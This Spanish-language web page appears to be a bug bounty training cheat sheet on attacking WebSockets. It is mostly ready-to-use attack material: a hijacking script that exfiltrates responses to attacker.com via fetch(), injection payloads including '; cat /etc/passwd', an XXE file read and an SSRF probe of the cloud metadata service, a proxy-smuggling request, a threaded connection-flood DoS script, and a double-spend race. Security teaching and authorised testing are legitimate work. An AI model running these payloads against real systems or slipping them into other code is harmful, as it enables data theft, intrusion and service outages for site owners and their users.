Cheatsheet WebSockets
Ataques a WebSockets
Referencia rápida
- →CSWSH es el equivalente de CSRF para WebSockets - las cookies se envian automaticamente en el handshake
- →Probar Origin con: evil.com, null, 127.0.0.1, 192.168.1.1, file://
- →Todos los tipos de inyeccion (XSS, SQLi, SSRF) aplican tambien via mensajes WebSocket
- →WebSocket smuggling permite bypass completo del proxy/WAF
- →Si permessage-deflate esta activo, probar compression bombs
CSWSH - Cross-Site WebSocket Hijacking
Verificar vulnerabilidadLas cookies se envian automaticamente en el handshake
1. Capturar WebSocket handshake en Burp 2. Cambiar header Origin a https://evil.com 3. Si el servidor acepta la conexion = vulnerable
Exploit CSWSH
<script>
var ws = new WebSocket("wss://target.com/ws");
ws.onopen = function() {
ws.send(JSON.stringify({"action": "getProfile"}));
};
ws.onmessage = function(event) {
fetch("https://attacker.com/steal?data=" + encodeURIComponent(event.data));
};
</script>Origin con IP localAlgunos servidores aceptan IPs locales como origin valido
Origin: http://127.0.0.1
Origin nullProbar tambien: file://, empty string, http://0.0.0.0
Origin: null
Inyeccion de payloads via WS
XSS via WebSocket
{"message": "<img src=x onerror=alert(1)>"}SQLi via WebSocket
{"query": "' OR 1=1--"}Command injection via WS
{"cmd": "; cat /etc/passwd"}SSRF via WebSocket
{"url": "http://169.254.169.254/latest/meta-data/"}IDOR via WebSocket
{"action": "getProfile", "userId": "victim-id-123"}XXE via WebSocket
{"data": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><foo>&xxe;</foo>"}WebSocket Smuggling
Concepto
1. Enviar peticion de upgrade a WebSocket 2. El proxy cree que es WebSocket, backend rechaza upgrade 3. El proxy deja de inspeccionar trafico 4. Enviar HTTP arbitrario al backend sin inspeccion del proxy
Upgrade fakeSi el proxy acepta pero el backend no, se crea un tunel sin inspeccion
GET /ws HTTP/1.1 Upgrade: websocket Connection: Upgrade Sec-WebSocket-Version: 13 Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
DoS y race conditions en WS
Connection flood
import websocket, threading
def connect():
ws = websocket.WebSocket()
ws.connect("wss://target.com/ws")
while True: pass
for i in range(10000):
threading.Thread(target=connect).start()Compression bombSimilar a zip bomb pero via WebSocket
Enviar datos altamente comprimibles cuando permessage-deflate esta activo
Race condition en transferenciasDoble gasto si las operaciones no son atomicas
Enviar dos mensajes de transferencia simultaneos:
ws.send('{"action":"transfer","amount":100}')
ws.send('{"action":"transfer","amount":100}')Herramientas
ws-smuggler
Herramienta de WebSocket smuggling para bypass de proxies
python3 ws-smuggler.py -u https://target.com/ws
Burp Suite WebSocket
Interceptar y modificar mensajes WebSocket en tiempo real
Burp > Proxy > WebSocket history
websocat
Cliente WebSocket CLI para testing manual e interactivo
websocat wss://target.com/ws
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de prácticahunters entrenando
labs de hackeos reales
completaciones
pagados por estos bugs
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Deja de leer sobre bugs y empieza a cazarlos
Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras
La comunidad
Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.
Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.